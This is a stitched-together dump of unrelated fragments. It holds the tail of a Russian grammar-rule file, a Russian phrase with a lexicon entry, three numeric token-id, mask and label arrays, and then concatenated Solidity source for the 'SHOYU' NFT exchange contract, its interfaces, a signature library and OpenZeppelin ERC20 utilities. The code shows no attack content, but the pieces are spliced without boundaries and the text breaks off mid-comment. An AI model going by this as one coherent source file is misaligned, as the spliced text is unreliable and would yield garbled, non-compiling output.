} */ #endregion Предлог_БЕЗ #region Предлог_КРОМЕ fact гл_предл { if context { * ПредлогДляВсе * } then return false,-5 } #endregion Предлог_КРОМЕ // ------------------------------------ // По умолчанию разрешаем все остальные сочетания. fact гл_предл { if context { * * * } then return true }
втащить мешок в комнату
rus_verbs:втащить{},
5,483,647
[ 1, 145, 115, 146, 229, 145, 113, 146, 236, 145, 121, 146, 229, 146, 239, 225, 145, 125, 145, 118, 146, 235, 145, 127, 145, 123, 225, 145, 115, 225, 145, 123, 145, 127, 145, 125, 145, 126, 145, 113, 146, 229, 146, 230, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 436, 407, 67, 502, 2038, 30, 145, 115, 146, 229, 145, 113, 146, 236, 145, 121, 146, 229, 146, 239, 2916, 16, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "../interfaces/IBaseExchange.sol"; import "../interfaces/ITokenFactory.sol"; import "../interfaces/IStrategy.sol"; import "../interfaces/IDividendPayingERC20.sol"; import "./ReentrancyGuardInitializable.sol"; import "../libraries/Signature.sol"; import "../interfaces/IERC2981.sol"; abstract contract BaseExchange is ReentrancyGuardInitializable, IBaseExchange { using SafeERC20 for IERC20; using Orders for Orders.Ask; using Orders for Orders.Bid; struct BestBid { address bidder; uint256 amount; uint256 price; address recipient; address referrer; uint256 timestamp; } mapping(address => mapping(bytes32 => mapping(address => bytes32))) internal _bidHashes; mapping(bytes32 => BestBid) public override bestBid; mapping(bytes32 => bool) public override isCancelledOrClaimed; mapping(bytes32 => uint256) public override amountFilled; function __BaseNFTExchange_init() internal initializer { __ReentrancyGuard_init(); } function DOMAIN_SEPARATOR() public view virtual override returns (bytes32); function factory() public view virtual override returns (address); function canTrade(address token) public view virtual override returns (bool) { return token == address(this); } function approvedBidHash( address proxy, bytes32 askHash, address bidder ) external view override returns (bytes32 bidHash) { return _bidHashes[proxy][askHash][bidder]; } function _transfer( address token, address from, address to, uint256 tokenId, uint256 amount ) internal virtual; function cancel(Orders.Ask memory order) external override { require(order.signer == msg.sender || order.proxy == msg.sender, "SHOYU: FORBIDDEN"); bytes32 hash = order.hash(); require(bestBid[hash].bidder == address(0), "SHOYU: BID_EXISTS"); isCancelledOrClaimed[hash] = true; emit Cancel(hash); } function updateApprovedBidHash( bytes32 askHash, address bidder, bytes32 bidHash ) external override { _bidHashes[msg.sender][askHash][bidder] = bidHash; emit UpdateApprovedBidHash(msg.sender, askHash, bidder, bidHash); } function bid(Orders.Ask memory askOrder, Orders.Bid memory bidOrder) external override nonReentrant returns (bool executed) { bytes32 askHash = askOrder.hash(); require(askHash == bidOrder.askHash, "SHOYU: UNMATCHED_HASH"); require(bidOrder.signer != address(0), "SHOYU: INVALID_SIGNER"); bytes32 bidHash = bidOrder.hash(); if (askOrder.proxy != address(0)) { require( askOrder.proxy == msg.sender || _bidHashes[askOrder.proxy][askHash][bidOrder.signer] == bidHash, "SHOYU: FORBIDDEN" ); delete _bidHashes[askOrder.proxy][askHash][bidOrder.signer]; emit UpdateApprovedBidHash(askOrder.proxy, askHash, bidOrder.signer, bytes32(0)); } Signature.verify(bidHash, bidOrder.signer, bidOrder.v, bidOrder.r, bidOrder.s, DOMAIN_SEPARATOR()); return _bid( askOrder, askHash, bidOrder.signer, bidOrder.amount, bidOrder.price, bidOrder.recipient, bidOrder.referrer ); } function bid( Orders.Ask memory askOrder, uint256 bidAmount, uint256 bidPrice, address bidRecipient, address bidReferrer ) external override nonReentrant returns (bool executed) { require(askOrder.proxy == address(0), "SHOYU: FORBIDDEN"); return _bid(askOrder, askOrder.hash(), msg.sender, bidAmount, bidPrice, bidRecipient, bidReferrer); } function _bid( Orders.Ask memory askOrder, bytes32 askHash, address bidder, uint256 bidAmount, uint256 bidPrice, address bidRecipient, address bidReferrer ) internal returns (bool executed) { require(canTrade(askOrder.token), "SHOYU: INVALID_EXCHANGE"); require(bidAmount > 0, "SHOYU: INVALID_AMOUNT"); uint256 _amountFilled = amountFilled[askHash]; require(_amountFilled + bidAmount <= askOrder.amount, "SHOYU: SOLD_OUT"); _validate(askOrder, askHash); Signature.verify(askHash, askOrder.signer, askOrder.v, askOrder.r, askOrder.s, DOMAIN_SEPARATOR()); BestBid storage best = bestBid[askHash]; if ( IStrategy(askOrder.strategy).canClaim( askOrder.proxy, askOrder.deadline, askOrder.params, bidder, bidPrice, best.bidder, best.price, best.timestamp ) ) { amountFilled[askHash] = _amountFilled + bidAmount; if (_amountFilled + bidAmount == askOrder.amount) isCancelledOrClaimed[askHash] = true; address recipient = askOrder.recipient; if (recipient == address(0)) recipient = askOrder.signer; require( _transferFeesAndFunds( askOrder.token, askOrder.tokenId, askOrder.currency, bidder, recipient, bidPrice * bidAmount ), "SHOYU: FAILED_TO_TRANSFER_FUNDS" ); if (bidRecipient == address(0)) bidRecipient = bidder; _transfer(askOrder.token, askOrder.signer, bidRecipient, askOrder.tokenId, bidAmount); emit Claim(askHash, bidder, bidAmount, bidPrice, bidRecipient, bidReferrer); return true; } else { if ( IStrategy(askOrder.strategy).canBid( askOrder.proxy, askOrder.deadline, askOrder.params, bidder, bidPrice, best.bidder, best.price, best.timestamp ) ) { best.bidder = bidder; best.amount = bidAmount; best.price = bidPrice; best.recipient = bidRecipient; best.referrer = bidReferrer; best.timestamp = block.timestamp; emit Bid(askHash, bidder, bidAmount, bidPrice, bidRecipient, bidReferrer); return false; } } revert("SHOYU: FAILURE"); } function claim(Orders.Ask memory askOrder) external override nonReentrant { require(canTrade(askOrder.token), "SHOYU: INVALID_EXCHANGE"); bytes32 askHash = askOrder.hash(); _validate(askOrder, askHash); Signature.verify(askHash, askOrder.signer, askOrder.v, askOrder.r, askOrder.s, DOMAIN_SEPARATOR()); BestBid memory best = bestBid[askHash]; require( IStrategy(askOrder.strategy).canClaim( askOrder.proxy, askOrder.deadline, askOrder.params, best.bidder, best.price, best.bidder, best.price, best.timestamp ), "SHOYU: FAILURE" ); address recipient = askOrder.recipient; if (recipient == address(0)) recipient = askOrder.signer; isCancelledOrClaimed[askHash] = true; require( _transferFeesAndFunds( askOrder.token, askOrder.tokenId, askOrder.currency, best.bidder, recipient, best.price * best.amount ), "SHOYU: FAILED_TO_TRANSFER_FUNDS" ); amountFilled[askHash] = amountFilled[askHash] + best.amount; address bidRecipient = best.recipient; if (bidRecipient == address(0)) bidRecipient = best.bidder; _transfer(askOrder.token, askOrder.signer, bidRecipient, askOrder.tokenId, best.amount); delete bestBid[askHash]; emit Claim(askHash, best.bidder, best.amount, best.price, bidRecipient, best.referrer); } function _validate(Orders.Ask memory askOrder, bytes32 askHash) internal view { require(!isCancelledOrClaimed[askHash], "SHOYU: CANCELLED_OR_CLAIMED"); require(askOrder.signer != address(0), "SHOYU: INVALID_MAKER"); require(askOrder.token != address(0), "SHOYU: INVALID_NFT"); require(askOrder.amount > 0, "SHOYU: INVALID_AMOUNT"); require(askOrder.strategy != address(0), "SHOYU: INVALID_STRATEGY"); require(askOrder.currency != address(0), "SHOYU: INVALID_CURRENCY"); require(ITokenFactory(factory()).isStrategyWhitelisted(askOrder.strategy), "SHOYU: STRATEGY_NOT_WHITELISTED"); } function _transferFeesAndFunds( address token, uint256 tokenId, address currency, address from, address to, uint256 amount ) internal returns (bool) { if (!_safeTransferFrom(currency, from, address(this), amount)) { return false; } address _factory = factory(); uint256 remainder = amount; { (address protocolFeeRecipient, uint8 protocolFeePermil) = ITokenFactory(_factory).protocolFeeInfo(); uint256 protocolFeeAmount = (amount * protocolFeePermil) / 1000; IERC20(currency).safeTransfer(protocolFeeRecipient, protocolFeeAmount); remainder -= protocolFeeAmount; } { (address operationalFeeRecipient, uint8 operationalFeePermil) = ITokenFactory(_factory).operationalFeeInfo(); uint256 operationalFeeAmount = (amount * operationalFeePermil) / 1000; IERC20(currency).safeTransfer(operationalFeeRecipient, operationalFeeAmount); remainder -= operationalFeeAmount; } try IERC2981(token).royaltyInfo(tokenId, amount) returns ( address royaltyFeeRecipient, uint256 royaltyFeeAmount ) { if (royaltyFeeAmount > 0) { remainder -= royaltyFeeAmount; _transferRoyaltyFee(currency, royaltyFeeRecipient, royaltyFeeAmount); } } catch {} IERC20(currency).safeTransfer(to, remainder); return true; } function _safeTransferFrom( address token, address from, address to, uint256 value ) private returns (bool) { (bool success, bytes memory returndata) = token.call(abi.encodeWithSelector(IERC20(token).transferFrom.selector, from, to, value)); return success && (returndata.length == 0 || abi.decode(returndata, (bool))); } function _transferRoyaltyFee( address currency, address to, uint256 amount ) internal { IERC20(currency).safeTransfer(to, amount); if (Address.isContract(to)) { try IDividendPayingERC20(to).sync() returns (uint256) {} catch {} } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "../libraries/Orders.sol"; interface IBaseExchange { event Cancel(bytes32 indexed hash); event Claim( bytes32 indexed hash, address bidder, uint256 amount, uint256 price, address recipient, address referrer ); event Bid(bytes32 indexed hash, address bidder, uint256 amount, uint256 price, address recipient, address referrer); event UpdateApprovedBidHash( address indexed proxy, bytes32 indexed askHash, address indexed bidder, bytes32 bidHash ); function DOMAIN_SEPARATOR() external view returns (bytes32); function factory() external view returns (address); function canTrade(address token) external view returns (bool); function bestBid(bytes32 hash) external view returns ( address bidder, uint256 amount, uint256 price, address recipient, address referrer, uint256 blockNumber ); function isCancelledOrClaimed(bytes32 hash) external view returns (bool); function amountFilled(bytes32 hash) external view returns (uint256); function approvedBidHash( address proxy, bytes32 askHash, address bidder ) external view returns (bytes32 bidHash); function cancel(Orders.Ask memory order) external; function updateApprovedBidHash( bytes32 askHash, address bidder, bytes32 bidHash ) external; function bid(Orders.Ask memory askOrder, Orders.Bid memory bidOrder) external returns (bool executed); function bid( Orders.Ask memory askOrder, uint256 bidAmount, uint256 bidPrice, address bidRecipient, address bidReferrer ) external returns (bool executed); function claim(Orders.Ask memory order) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface ITokenFactory { event SetBaseURI721(string uri); event SetBaseURI1155(string uri); event SetProtocolFeeRecipient(address recipient); event SetOperationalFee(uint8 fee); event SetOperationalFeeRecipient(address recipient); event SetDeployerWhitelisted(address deployer, bool whitelisted); event SetStrategyWhitelisted(address strategy, bool whitelisted); event UpgradeNFT721(address newTarget); event UpgradeNFT1155(address newTarget); event UpgradeSocialToken(address newTarget); event UpgradeERC721Exchange(address exchange); event UpgradeERC1155Exchange(address exchange); event DeployNFT721AndMintBatch( address indexed proxy, address indexed owner, string name, string symbol, uint256[] tokenIds, address royaltyFeeRecipient, uint8 royaltyFee ); event DeployNFT721AndPark( address indexed proxy, address indexed owner, string name, string symbol, uint256 toTokenId, address royaltyFeeRecipient, uint8 royaltyFee ); event DeployNFT1155AndMintBatch( address indexed proxy, address indexed owner, uint256[] tokenIds, uint256[] amounts, address royaltyFeeRecipient, uint8 royaltyFee ); event DeploySocialToken( address indexed proxy, address indexed owner, string name, string symbol, address indexed dividendToken, uint256 initialSupply ); function MAX_ROYALTY_FEE() external view returns (uint8); function MAX_OPERATIONAL_FEE() external view returns (uint8); function PARK_TOKEN_IDS_721_TYPEHASH() external view returns (bytes32); function MINT_BATCH_721_TYPEHASH() external view returns (bytes32); function MINT_BATCH_1155_TYPEHASH() external view returns (bytes32); function MINT_SOCIAL_TOKEN_TYPEHASH() external view returns (bytes32); function DOMAIN_SEPARATOR() external view returns (bytes32); function nonces(address account) external view returns (uint256); function baseURI721() external view returns (string memory); function baseURI1155() external view returns (string memory); function erc721Exchange() external view returns (address); function erc1155Exchange() external view returns (address); function protocolFeeInfo() external view returns (address recipient, uint8 permil); function operationalFeeInfo() external view returns (address recipient, uint8 permil); function isStrategyWhitelisted(address strategy) external view returns (bool); function isDeployerWhitelisted(address strategy) external view returns (bool); function setBaseURI721(string memory uri) external; function setBaseURI1155(string memory uri) external; function setProtocolFeeRecipient(address protocolFeeRecipient) external; function setOperationalFeeRecipient(address operationalFeeRecipient) external; function setOperationalFee(uint8 operationalFee) external; function setDeployerWhitelisted(address deployer, bool whitelisted) external; function setStrategyWhitelisted(address strategy, bool whitelisted) external; function upgradeNFT721(address newTarget) external; function upgradeNFT1155(address newTarget) external; function upgradeSocialToken(address newTarget) external; function upgradeERC721Exchange(address exchange) external; function upgradeERC1155Exchange(address exchange) external; function deployNFT721AndMintBatch( address owner, string calldata name, string calldata symbol, uint256[] calldata tokenIds, address royaltyFeeRecipient, uint8 royaltyFee ) external returns (address nft); function deployNFT721AndPark( address owner, string calldata name, string calldata symbol, uint256 toTokenId, address royaltyFeeRecipient, uint8 royaltyFee ) external returns (address nft); function isNFT721(address query) external view returns (bool result); function deployNFT1155AndMintBatch( address owner, uint256[] memory tokenIds, uint256[] memory amounts, address royaltyFeeRecipient, uint8 royaltyFee ) external returns (address nft); function isNFT1155(address query) external view returns (bool result); function deploySocialToken( address owner, string memory name, string memory symbol, address dividendToken, uint256 initialSupply ) external returns (address proxy); function isSocialToken(address query) external view returns (bool result); function parkTokenIds721( address nft, uint256 toTokenId, uint8 v, bytes32 r, bytes32 s ) external; function mintBatch721( address nft, address to, uint256[] calldata tokenIds, bytes calldata data, uint8 v, bytes32 r, bytes32 s ) external; function mintBatch1155( address nft, address to, uint256[] calldata tokenIds, uint256[] calldata amounts, bytes calldata data, uint8 v, bytes32 r, bytes32 s ) external; function mintSocialToken( address token, address to, uint256 amount, uint8 v, bytes32 r, bytes32 s ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "../libraries/Orders.sol"; interface IStrategy { function canClaim( address proxy, uint256 deadline, bytes memory params, address bidder, uint256 bidPrice, address bestBidder, uint256 bestBidPrice, uint256 bestBidTimestamp ) external view returns (bool); function canBid( address proxy, uint256 deadline, bytes memory params, address bidder, uint256 bidPrice, address bestBidder, uint256 bestBidPrice, uint256 bestBidTimestamp ) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; interface IDividendPayingERC20 is IERC20, IERC20Metadata { /// @dev This event MUST emit when erc20/ether dividend is synced. /// @param increased The amount of increased erc20/ether in wei. event Sync(uint256 increased); /// @dev This event MUST emit when an address withdraws their dividend. /// @param to The address which withdraws erc20/ether from this contract. /// @param amount The amount of withdrawn erc20/ether in wei. event DividendWithdrawn(address indexed to, uint256 amount); function MAGNITUDE() external view returns (uint256); function dividendToken() external view returns (address); function totalDividend() external view returns (uint256); function sync() external payable returns (uint256 increased); function withdrawDividend() external; /// @notice View the amount of dividend in wei that an address can withdraw. /// @param account The address of a token holder. /// @return The amount of dividend in wei that `account` can withdraw. function dividendOf(address account) external view returns (uint256); /// @notice View the amount of dividend in wei that an address can withdraw. /// @param account The address of a token holder. /// @return The amount of dividend in wei that `account` can withdraw. function withdrawableDividendOf(address account) external view returns (uint256); /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param account The address of a token holder. /// @return The amount of dividend in wei that `account` has withdrawn. function withdrawnDividendOf(address account) external view returns (uint256); /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(account) = withdrawableDividendOf(account) + withdrawnDividendOf(account) /// = (magnifiedDividendPerShare * balanceOf(account) + magnifiedDividendCorrections[account]) / magnitude /// @param account The address of a token holder. /// @return The amount of dividend in wei that `account` has earned in total. function accumulativeDividendOf(address account) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardInitializable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. bool private constant _NOT_ENTERED = false; bool private constant _ENTERED = true; bool private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "SHOYU: REENTRANT"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "../interfaces/IERC1271.sol"; import "@openzeppelin/contracts/utils/Address.sol"; library Signature { function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "SHOYU: INVALID_SIGNATURE_S_VALUE" ); require(v == 27 || v == 28, "SHOYU: INVALID_SIGNATURE_V_VALUE"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "SHOYU: INVALID_SIGNATURE"); return signer; } function verify( bytes32 hash, address signer, uint8 v, bytes32 r, bytes32 s, bytes32 domainSeparator ) internal view { bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, hash)); if (Address.isContract(signer)) { require( IERC1271(signer).isValidSignature(digest, abi.encodePacked(r, s, v)) == 0x1626ba7e, "SHOYU: UNAUTHORIZED" ); } else { require(recover(digest, v, r, s) == signer, "SHOYU: UNAUTHORIZED"); } } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /// /// @dev Interface for the NFT Royalty Standard /// interface IERC2981 is IERC165 { /// ERC165 bytes to add to interface array - set in parent contract /// implementing this standard /// /// bytes4(keccak256("royaltyInfo(uint256,uint256)")) == 0x2a55205a /// bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a; /// _registerInterface(_INTERFACE_ID_ERC2981); /// @notice Called with the sale price to determine how much royalty // is owed and to whom. /// @param _tokenId - the NFT asset queried for royalty information /// @param _salePrice - the sale price of the NFT asset specified by _tokenId /// @return receiver - address of who should be sent the royalty payment /// @return royaltyAmount - the royalty payment amount for _salePrice function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when 